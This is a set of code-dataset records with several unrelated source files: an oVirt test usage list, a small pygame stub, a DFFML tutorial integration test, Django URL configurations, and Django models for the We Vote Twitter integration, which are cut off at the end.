"art.unittest_lib.testflow.teardown", "line_number": 203, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 203, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 203, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.stop_vms_safely", "line_number": 204, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 204, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 204, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.teardown", "line_number": 205, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 205, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 206, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.updateVm", "line_number": 209, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 209, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 211, "usage_type": "attribute"}, {"api_name": "config.VM_MIGRATABLE", "line_number": 213, "usage_type": "attribute"}, {"api_name": "config.VM_ANY_HOST", "line_number": 214, "usage_type": "attribute"}, {"api_name": "config.GB", "line_number": 216, "usage_type": "attribute"}, {"api_name": "config.GB", "line_number": 217, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.get_vm_nics_obj", "line_number": 221, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 221, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 221, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.removeNic", "line_number": 223, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 223, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 224, "usage_type": "attribute"}, {"api_name": "config.NIC_NAME", "line_number": 224, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.get_disk_attachments", "line_number": 227, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 227, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 227, "usage_type": "attribute"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms.removeDisk", "line_number": 229, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.vms", "line_number": 229, "usage_type": "name"}, {"api_name": "config.VM_NAME", "line_number": 231, "usage_type": "attribute"}, {"api_name": "config.ADDITIONAL_DISK", "line_number": 232, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 191, "usage_type": "call"}, {"api_name": "rhevmtests.compute.virt.helper.get_hosts_by_cpu_model", "line_number": 245, "usage_type": "call"}, {"api_name": "rhevmtests.compute.virt.helper", "line_number": 245, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 246, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 246, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 247, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 247, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 256, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 256, "usage_type": "name"}, {"api_name": "art.rhevm_api.tests_lib.low_level.hosts.activate_host", "line_number": 257, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.hosts", "line_number": 257, "usage_type": "name"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 259, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 259, "usage_type": "name"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 261, "usage_type": "attribute"}, {"api_name": "config.MAX_HOST_CPU", "line_number": 261, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_PARAMS", "line_number": 262, "usage_type": "attribute"}, {"api_name": "config.CLUSTER_CPU_NAME", "line_number": 262, "usage_type": "attribute"}, {"api_name": "art.unittest_lib.testflow.setup", "line_number": 266, "usage_type": "call"}, {"api_name": "art.unittest_lib.testflow", "line_number": 266, "usage_type": "name"}, {"api_name": "art.rhevm_api.tests_lib.low_level.hosts.deactivate_host", "line_number": 267, "usage_type": "call"}, {"api_name": "art.rhevm_api.tests_lib.low_level.hosts", "line_number": 267, "usage_type": "name"}, {"api_name": "art.rhevm_api.utils.test_utils.wait_for_tasks", "line_number": 268, "usage_type": "call"}, {"api_name": "config.ENGINE", "line_number": 269, "usage_type": "attribute"}, {"api_name": "config.DC_NAME", "line_number": 270, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 239, "usage_type": "call"}]} {"seq_id": "43015914", "text": "import pygame\n\npygame.init()\n\nscreen_info=pygame.display.Info()\nprint(screen_info)\nsize=(width,hieght)=(screen_info.current_w,screen_info.current_h)\nclock=pygame.time.clock\nscreen=pygame.display.set_mode(size)\ncolor= (0,255,0)\ndef main():\n clock.tick(60)\n screen.fill\n pygame.display.flip()\nif __name__=='__main__':\n main()", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 327, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.display.Info", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.time", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 14, "usage_type": "attribute"}]} {"seq_id": "121611505", "text": "import os\nimport ast\nimport sys\nimport json\nimport shlex\nimport asyncio\nimport pathlib\nimport tempfile\nimport unittest\nimport importlib\nimport contextlib\nimport subprocess\n\nfrom dffml import chdir, IntegrationCLITestCase\n\n\ndef sh_filepath(filename):\n return os.path.join(os.path.dirname(__file__), filename)\n\n\n@contextlib.contextmanager\ndef directory_with_csv_files():\n with tempfile.TemporaryDirectory() as tempdir:\n with chdir(tempdir):\n subprocess.check_output([\"sh\", sh_filepath(\"train_data.sh\")])\n subprocess.check_output([\"sh\", sh_filepath(\"test_data.sh\")])\n subprocess.check_output([\"sh\", sh_filepath(\"predict_data.sh\")])\n yield tempdir\n\n\nclass TestSLR(IntegrationCLITestCase):\n @classmethod\n def setUpClass(cls):\n path = (\n pathlib.Path(__file__).parents[4]\n / \"dffml\"\n / \"skel\"\n / \"model\"\n / \"REPLACE_IMPORT_PACKAGE_NAME\"\n ).resolve()\n cls.python_path = os.environ.get(\"PYTHONPATH\", None)\n if cls.python_path is None:\n cls.python_path = \"\"\n cls.python_path = cls.python_path.split(\":\")\n cls.python_path.insert(0, str(path))\n sys.path.insert(0, str(path))\n os.environ[\"PYTHONPATH\"] = \":\".join(cls.python_path)\n\n @classmethod\n def tearDownClass(cls):\n sys.path.pop(0)\n cls.python_path.pop(0)\n if cls.python_path:\n os.environ[\"PYTHONPATH\"] = \":\".join(cls.python_path)\n else:\n del os.environ[\"PYTHONPATH\"]\n\n def test_python(self):\n with directory_with_csv_files() as tempdir:\n # Path to target file\n filepath = os.path.join(os.path.dirname(__file__), \"run.py\")\n # Capture output\n stdout = subprocess.check_output([sys.executable, filepath])\n lines = stdout.decode().split(\"\\n\")\n # Check the Accuracy\n self.assertIn(\"Accuracy: 1.0\", lines[0])\n # Check the salary\n self.assertEqual(ast.literal_eval(lines[1])[\"Salary\"], 110)\n\n def test_shell(self):\n with directory_with_csv_files() as tempdir:\n # Run training\n subprocess.check_output([\"sh\", sh_filepath(\"train.sh\")])\n # Check the Accuracy\n stdout = subprocess.check_output([\"sh\", sh_filepath(\"test.sh\")])\n self.assertEqual(stdout.decode().strip(), \"1.0\")\n # Make the prediction\n stdout = subprocess.check_output([\"sh\", sh_filepath(\"predict.sh\")])\n records = json.loads(stdout.decode())\n self.assertEqual(len(records), 1)\n # Check the salary\n self.assertEqual(\n int(records[0][\"prediction\"][\"Salary\"][\"value\"]), 110\n )\n\n @unittest.skip(\"See issue https://github.com/intel/dffml/issues/706\")\n async def test_http(self):\n self.required_plugins(\"dffml-service-http\")\n HTTPService = importlib.import_module(\n \"dffml_service_http.cli\"\n ).HTTPService\n ServerRunner = importlib.import_module(\n \"dffml_service_http.util.testing\"\n ).ServerRunner\n # Read in command to start HTTP server\n server_cmd = pathlib.Path(sh_filepath(\"start_http.sh\"))\n server_cmd = server_cmd.read_text()\n server_cmd = server_cmd.replace(\"\\n\", \"\")\n server_cmd = server_cmd.replace(\"\\\\\", \"\")\n # Remove `dffml service http server`\n server_cmd = server_cmd.replace(\"dffml service http server\", \"\")\n # Replace port\n server_cmd = server_cmd.replace(\"8080\", \"0\")\n server_cmd = shlex.split(server_cmd)\n # Read in the curl command\n curl_cmd = pathlib.Path(sh_filepath(\"curl_http.sh\"))\n curl_cmd = curl_cmd.read_text()\n # Modify the curl command to use the correct version of python\n curl_cmd = curl_cmd.replace(\"python\", sys.executable)\n # Create a temporary directory for new curl command\n with directory_with_csv_files() as tempdir:\n # Run training\n subprocess.check_output([\"sh\", sh_filepath(\"train.sh\")])\n async with ServerRunner.patch(HTTPService.server) as tserver:\n # Start the HTTP server\n cli = await tserver.start(HTTPService.server.cli(*server_cmd))\n # Modify the curl command to use the correct port\n curl_cmd = curl_cmd.replace(\"8080\", str(cli.port))\n # Write out the modified curl command\n pathlib.Path(\"curl.sh\").write_text(curl_cmd)\n # Make the prediction\n proc = await asyncio.create_subprocess_exec(\n \"sh\",\n \"curl.sh\",\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n )\n stdout, stderr = await proc.communicate()\n if proc.returncode != 0:\n raise Exception(stderr.decode())\n response = json.loads(stdout)\n # Check the result\n records = response[\"records\"]\n self.assertEqual(len(records), 1)\n for record in records.values():\n # Correct value should be 90\n should_be = 110\n prediction = record[\"prediction\"][\"Salary\"][\"value\"]\n # Check prediction within 20% of correct value\n percent_error = abs(should_be - prediction) / should_be\n self.assertLess(percent_error, 0.2)\n", "sub_path": "tests/tutorials/models/slr/test_slr.py", "file_name": "test_slr.py", "file_ext": "py", "file_size_in_byte": 5584, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 23, "usage_type": "call"}, {"api_name": "dffml.chdir", "line_number": 24, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 25, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 26, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 27, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 21, "usage_type": "attribute"}, {"api_name": "dffml.IntegrationCLITestCase", "line_number": 31, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 35, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 41, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.path.pop", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 61, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 63, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 63, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 68, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 73, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 75, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 78, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 79, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 89, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 92, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 96, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 104, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 106, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 109, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 113, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 120, "usage_type": "call"}, {"api_name": "asyncio.create_subprocess_exec", "line_number": 122, "usage_type": "call"}, {"api_name": "asyncio.subprocess", "line_number": 125, "usage_type": "attribute"}, {"api_name": "asyncio.subprocess", "line_number": 126, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 131, "usage_type": "call"}, {"api_name": "unittest.skip", "line_number": 86, "usage_type": "call"}]} {"seq_id": "631123875", "text": "from django.conf.urls import url\r\n\r\nfrom . import views\r\n\r\napp_name = 'sealion'\r\n\r\nurlpatterns = [\r\n url(r'^$', views.index, name='index'),\r\n\r\n url(r'^(?P<group_id>[0-9]+)/$' , views.detail, name='detail'),\r\n\r\n url(r'^search/$', views.search, name='search'),\r\n\r\n url(r'^group_add/$' , views.group_add, name='group_add'),\r\n url(r'^(?P<group_id>[0-9]+)/group_del/$' , views.group_del, name='group_del'),\r\n\r\n url(r'^(?P<group_id>[0-9]+)/todo_add/$' , views.todo_add, name='todo_add'),\r\n url(r'^(?P<group_id>[0-9]+)/(?P<todo_id>[0-9]+)/todo_del/$' , views.todo_del, name='todo_del'),\r\n url(r'^(?P<todo_id>[0-9]+)/done/$' , views.done, name='done'),\r\n\r\n url(r'^for_ajax/$', views.for_ajax, name='for_ajax'),\r\n]\r\n", "sub_path": "sealion/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 734, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}]} {"seq_id": "205633236", "text": "from django.conf.urls import url\n\nfrom . import views\n#Esquema de url-vista\n#Nombre de la app\napp_name = 'asociacion'\nurlpatterns = [\n url(r'^perfil/', views.IndexView, name='index'),\n url(r'^about/', view=views.AboutView.as_view(), name='about'),\n url(r'^contact/', view=views.ContactView.as_view(), name='contact'),\n url(r'^resumen/', views.get_impagos,name='resumen'),\n url(r'^tesoreria/', views.get_cuentas, name='tesoreria'),\n url(r'^buscar/', views.search, name='buscar'),\n url(r'^documentos',view=views.DocsView.as_view(),name='documentos'),\n url(r'^test', views.get_charts,name='test'),\n url(r'^informes(?P<tipo>\\w+)/$', views.socios_report, name=\"informes\")\n]", "sub_path": "AsociacionVirtual/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 695, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}]} {"seq_id": "221403400", "text": "# twitter/models.py\n# Brought to you by We Vote. Be good.\n# -*- coding: UTF-8 -*-\n\n# See also WeVoteServer/import_export_twitter/models.py for the code that interfaces with twitter (or other) servers\n\nfrom django.db import models\nfrom import_export_twitter.functions import retrieve_twitter_user_info\nfrom wevote_functions.functions import positive_value_exists\n\n\nclass TwitterUser(models.Model):\n \"\"\"\n We cache the Twitter info for one handle here. NOTE: multiple accounts can be signed into same Twitter account\n \"\"\"\n twitter_id = models.BigIntegerField(verbose_name=\"twitter big integer id\", null=True, blank=True)\n twitter_handle = models.CharField(verbose_name='twitter screen name / handle',\n max_length=255, null=False, unique=True)\n twitter_name = models.CharField(\n verbose_name=\"display name from twitter\", max_length=255, null=True, blank=True)\n twitter_url = models.URLField(blank=True, null=True, verbose_name='url of user\\'s website')\n\n twitter_profile_image_url_https = models.URLField(verbose_name='url of logo from twitter', blank=True, null=True)\n twitter_location = models.CharField(\n verbose_name=\"location from twitter\", max_length=255, null=True, blank=True)\n twitter_followers_count = models.IntegerField(verbose_name=\"number of twitter followers\",\n null=False, blank=True, default=0)\n twitter_profile_background_image_url_https = models.URLField(verbose_name='tile-able background from twitter',\n blank=True, null=True)\n twitter_profile_banner_url_https = models.URLField(verbose_name='profile banner image from twitter',\n blank=True, null=True)\n twitter_description = models.CharField(verbose_name=\"Text description of this organization from twitter.\",\n max_length=255, null=True, blank=True)\n\n\nclass TwitterUserManager(models.Model):\n\n def __unicode__(self):\n return \"TwitterUserManager\"\n\n def retrieve_twitter_user_locally_or_remotely(self, twitter_handle):\n twitter_user_found = False\n twitter_user = TwitterUser()\n success = False\n status = \"TWITTER_USER_NOT_FOUND\"\n\n # Is this twitter_handle already stored locally? If so, return that\n twitter_results = self.retrieve_twitter_user(twitter_handle)\n if twitter_results['twitter_user_found']:\n return twitter_results\n\n # If here, we want to reach out to Twitter to get info for this twitter_handle\n twitter_results = retrieve_twitter_user_info(twitter_handle)\n if twitter_results['twitter_handle_found']:\n twitter_save_results = self.save_new_twitter_user_from_twitter_json(twitter_results['twitter_json'])\n if twitter_save_results['twitter_user_found']:\n # If saved, pull the fresh results from the database and return\n twitter_second_results = self.retrieve_twitter_user(twitter_handle)\n if twitter_second_results['twitter_user_found']:\n return twitter_second_results\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user,\n }\n return results\n\n def retrieve_twitter_user(self, twitter_handle):\n twitter_user_on_stage = TwitterUser()\n twitter_user_found = False\n success = False\n\n try:\n if positive_value_exists(twitter_handle):\n status = \"RETRIEVE_TWITTER_USER_FOUND_WITH_HANDLE\"\n twitter_user_on_stage = TwitterUser.objects.get(twitter_handle__iexact=twitter_handle)\n twitter_user_found = True\n success = True\n else:\n status = \"RETRIEVE_TWITTER_USER_INSUFFICIENT_VARIABLES\"\n except TwitterUser.MultipleObjectsReturned as e:\n success = False\n status = \"RETRIEVE_TWITTER_USER_MULTIPLE_FOUND\"\n except TwitterUser.DoesNotExist:\n success = True\n status = \"RETRIEVE_TWITTER_USER_NONE_FOUND\"\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user_on_stage,\n }\n return results\n\n def save_new_twitter_user_from_twitter_json(self, twitter_json):\n\n if 'screen_name' not in twitter_json:\n results = {\n 'success': False,\n 'status': \"SAVE_NEW_TWITTER_USER_MISSING_HANDLE\",\n 'twitter_user_found': False,\n 'twitter_user': TwitterUser(),\n }\n return results\n\n try:\n # Create new twitter_user entry\n twitter_description = twitter_json['description'] if 'description' in twitter_json else \"\"\n twitter_followers_count = twitter_json['followers_count'] if 'followers_count' in twitter_json else \"\"\n twitter_handle = twitter_json['screen_name'] if 'screen_name' in twitter_json else \"\"\n twitter_id = twitter_json['id'] if 'id' in twitter_json else \"\"\n twitter_location = twitter_json['location'] if 'location' in twitter_json else \"\"\n twitter_name = twitter_json['name'] if 'name' in twitter_json else \"\"\n twitter_profile_background_image_url_https = twitter_json['profile_background_image_url_https'] \\\n if 'profile_background_image_url_https' in twitter_json else \"\"\n twitter_profile_banner_url_https = twitter_json['profile_banner_url_https'] \\\n if 'profile_banner_url_https' in twitter_json else \"\"\n twitter_profile_image_url_https = twitter_json['profile_image_url_https'] \\\n if 'profile_image_url_https' in twitter_json else \"\"\n twitter_url = twitter_json['url'] if 'url' in twitter_json else \"\"\n\n twitter_user_on_stage = TwitterUser(\n twitter_description=twitter_description,\n twitter_followers_count=twitter_followers_count,\n twitter_handle=twitter_handle,\n twitter_id=twitter_id,\n twitter_location=twitter_location,\n twitter_name=twitter_name,\n twitter_profile_background_image_url_https=twitter_profile_background_image_url_https,\n twitter_profile_banner_url_https=twitter_profile_banner_url_https,\n twitter_profile_image_url_https=twitter_profile_image_url_https,\n twitter_url=twitter_url,\n )\n twitter_user_on_stage.save()\n success = True\n twitter_user_found = True\n status = 'CREATED_TWITTER_USER'\n except Exception as e:\n success = False\n twitter_user_found = False\n status = 'FAILED_TO_CREATE_NEW_TWITTER_USER'\n twitter_user_on_stage = TwitterUser()\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user_on_stage,\n }\n return results\n\n def update_or_create_twitter_user(self, twitter_user_id, twitter_user_we_vote_id,\n ballot_item_display_name,\n contest_office_we_vote_id,\n candidate_campaign_we_vote_id,\n politician_we_vote_id,\n contest_measure_we_vote_id,\n info_html,\n info_text,\n language,\n last_editor_we_vote_id,\n twitter_user_master_we_vote_id,\n more_info_url,\n more_info_credit,\n google_civic_election_id\n ):\n # Does a twitter_user entry already exist?\n twitter_user_manager = TwitterUserManager()\n results = twitter_user_manager.retrieve_twitter_user(twitter_user_id, twitter_user_we_vote_id,\n contest_office_we_vote_id,\n candidate_campaign_we_vote_id,\n politician_we_vote_id,\n contest_measure_we_vote_id)\n\n twitter_user_on_stage_found = False\n twitter_user_on_stage_id = 0\n twitter_user_on_stage = TwitterUser()\n if results['twitter_user_found']:\n twitter_user_on_stage = results['twitter_user']\n\n # Update this twitter_user entry with new values - we do not delete because we might be able to use\n # noinspection PyBroadException\n try:\n # Figure out if the update is a change to a master entry\n if positive_value_exists(twitter_user_master_we_vote_id):\n uses_master_entry = True\n elif (info_html is not False) or (info_text is not False) or (more_info_url is not False):\n uses_master_entry = False\n elif positive_value_exists(twitter_user_on_stage.info_textx) or \\\n positive_value_exists(twitter_user_on_stage.info_html) or \\\n positive_value_exists(twitter_user_on_stage.more_info_url):\n uses_master_entry = False\n elif positive_value_exists(twitter_user_on_stage.twitter_user_master_we_vote_id):\n uses_master_entry = True\n else:\n uses_master_entry = True\n\n if ballot_item_display_name is not False:\n twitter_user_on_stage.ballot_item_display_name = ballot_item_display_name\n if language is not False:\n twitter_user_on_stage.language = language\n if last_editor_we_vote_id is not False:\n twitter_user_on_stage.last_editor_we_vote_id = last_editor_we_vote_id\n if contest_office_we_vote_id is not False:\n twitter_user_on_stage.contest_office_we_vote_id = contest_office_we_vote_id\n if candidate_campaign_we_vote_id is not False:\n twitter_user_on_stage.candidate_campaign_we_vote_id = candidate_campaign_we_vote_id\n if politician_we_vote_id is not False:\n twitter_user_on_stage.politician_we_vote_id = politician_we_vote_id\n if contest_measure_we_vote_id is not False:\n twitter_user_on_stage.contest_measure_we_vote_id = contest_measure_we_vote_id\n if google_civic_election_id is not False:\n twitter_user_on_stage.google_civic_election_id = google_civic_election_id\n if uses_master_entry:\n if twitter_user_master_we_vote_id is not False:\n twitter_user_on_stage.twitter_user_master_we_vote_id = twitter_user_master_we_vote_id\n # Clear out unique entry values\n twitter_user_on_stage.info_text = \"\"\n twitter_user_on_stage.info_html = \"\"\n twitter_user_on_stage.more_info_url = \"\"\n twitter_user_on_stage.more_info_credit = NOT_SPECIFIED\n else:\n # If here, this is NOT a master entry\n if info_text is not False:\n twitter_user_on_stage.info_text = info_text\n if info_html is not False:\n twitter_user_on_stage.info_html = info_html\n if more_info_url is not False:\n twitter_user_on_stage.more_info_url = more_info_url\n if more_info_credit is not False:\n twitter_user_on_stage.more_info_credit = more_info_credit\n # Clear out master entry value\n twitter_user_on_stage.twitter_user_master_we_vote_id = \"\"\n if google_civic_election_id is not False:\n twitter_user_on_stage.google_civic_election_id = google_civic_election_id\n # We don't need to update date_last_changed here because set set auto_now=True in the field\n twitter_user_on_stage.save()\n twitter_user_on_stage_id = twitter_user_on_stage.id\n twitter_user_on_stage_found = True\n status = 'TWITTER_USER_UPDATED'\n except Exception as e:\n status = 'FAILED_TO_UPDATE_TWITTER_USER'\n elif results['MultipleObjectsReturned']:\n status = 'TWITTER_USER MultipleObjectsReturned'\n elif results['DoesNotExist']:\n try:\n # Create new twitter_user entry\n if ballot_item_display_name is False:\n ballot_item_display_name = \"\"\n if language is False:\n language = ENGLISH\n if last_editor_we_vote_id is False:\n last_editor_we_vote_id = \"\"\n if contest_office_we_vote_id is False:\n contest_office_we_vote_id = \"\"\n if candidate_campaign_we_vote_id is False:\n candidate_campaign_we_vote_id = \"\"\n if politician_we_vote_id is False:\n politician_we_vote_id = \"\"\n if contest_measure_we_vote_id is False:\n contest_measure_we_vote_id = \"\"\n if google_civic_election_id is False:\n google_civic_election_id = 0\n # Master related data\n if twitter_user_master_we_vote_id is False:\n twitter_user_master_we_vote_id = \"\"\n # Unique related data\n if info_html is False:\n info_html = \"\"\n if info_text is False:\n info_text = \"\"\n if more_info_url is False:\n more_info_url = \"\"\n if more_info_credit is False:\n more_info_credit = None\n twitter_user_on_stage = TwitterUser(\n ballot_item_display_name=ballot_item_display_name,\n contest_office_we_vote_id=contest_office_we_vote_id,\n candidate_campaign_we_vote_id=candidate_campaign_we_vote_id,\n politician_we_vote_id=politician_we_vote_id,\n contest_measure_we_vote_id=contest_measure_we_vote_id,\n info_html=info_html,\n info_text=info_text,\n language=language,\n last_editor_we_vote_id=last_editor_we_vote_id,\n twitter_user_master_we_vote_id=twitter_user_master_we_vote_id,\n more_info_url=more_info_url,\n more_info_credit=more_info_credit,\n google_civic_election_id=google_civic_election_id\n # We don't need to update last_updated here because set set auto_now=True in the field\n )\n twitter_user_on_stage.save()\n twitter_user_on_stage_id = twitter_user_on_stage.id\n twitter_user_on_stage_found = True\n status = 'CREATED_TWITTER_USER'\n except Exception as e:\n status = 'FAILED_TO_CREATE_NEW_TWITTER_USER'\n handle_record_not_saved_exception(e, logger=logger, exception_message_optional=status)\n else:\n status = results['status']\n\n results = {\n 'success': True if twitter_user_on_stage_found else False,\n 'status': status,\n 'twitter_user_found': twitter_user_on_stage_found,\n 'twitter_user_id': twitter_user_on_stage_id,\n 'twitter_user': twitter_user_on_stage,\n }\n return results\n\n def delete_twitter_user(self, twitter_user_id):\n twitter_user_id = convert_to_int(twitter_user_id)\n twitter_user_deleted = False\n\n try:\n if twitter_user_id:\n results = self.retrieve_twitter_user(twitter_user_id)\n if results['twitter_user_found']:\n twitter_user = results['twitter_user']\n twitter_user_id = twitter_user.id\n twitter_user.delete()\n twitter_user_deleted = True\n except Exception as e:\n handle_exception(e, logger=logger)\n\n results = {\n 'success': twitter_user_deleted,\n 'twitter_user_deleted': twitter_user_deleted,\n 'twitter_user_id': twitter_user_id,\n }\n return results\n\n\nclass Tweet(models.Model):\n \"\"\"\n A tweet referenced somewhere by a We Vote tag. We store it (once - not every time it is referenced by a tag)\n locally so we can publish JSON from for consumption on the We Vote newsfeed.\n \"\"\"\n # twitter_tweet_id # (unique id from twitter for tweet?)\n author_handle = models.CharField(max_length=15, verbose_name='twitter handle of this tweet\\'s author')\n # (stored quickly before we look up voter_id)\n # author_voter_id = models.ForeignKey(Voter, null=True, blank=True, related_name='we vote id of tweet author')\n is_retweet = models.BooleanField(default=False, verbose_name='is this a retweet?')\n # parent_tweet_id # If this is a retweet, what is the id of the originating tweet?\n body = models.CharField(blank=True, null=True, max_length=255, verbose_name='')\n date_published = models.DateTimeField(null=True, verbose_name='date published')\n\n\nclass TweetFavorite(models.Model):\n \"\"\"\n This table tells us who favorited a tweet\n \"\"\"\n tweet_id = models.ForeignKey(Tweet, null=True, blank=True, verbose_name='we vote tweet id')\n # twitter_tweet_id # (unique id from twitter for tweet?)\n # TODO Should favorited_by_handle be a ForeignKey link to the Twitter User? I'm concerned this will slow saving,\n # and it might be better to ForeignKey against voter_id\n favorited_by_handle = models.CharField(\n max_length=15, verbose_name='twitter handle of person who favorited this tweet')\n # (stored quickly before we look up voter_id)\n # favorited_by_voter_id = models.ForeignKey(\n # Voter, null=True, blank=True, related_name='tweet favorited by voter_id')\n date_favorited = models.DateTimeField(null=True, verbose_name='date favorited')\n\n\n# This should be the master table\nclass TwitterWhoIFollow(models.Model):\n \"\"\"\n Other Twitter handles that I follow, from the perspective of handle_of_me\n \"\"\"\n handle_of_me = models.CharField(max_length=15, verbose_name='from this twitter handle\\'s perspective...')\n handle_i_follow = models.CharField(max_length=15, verbose_name='twitter handle being 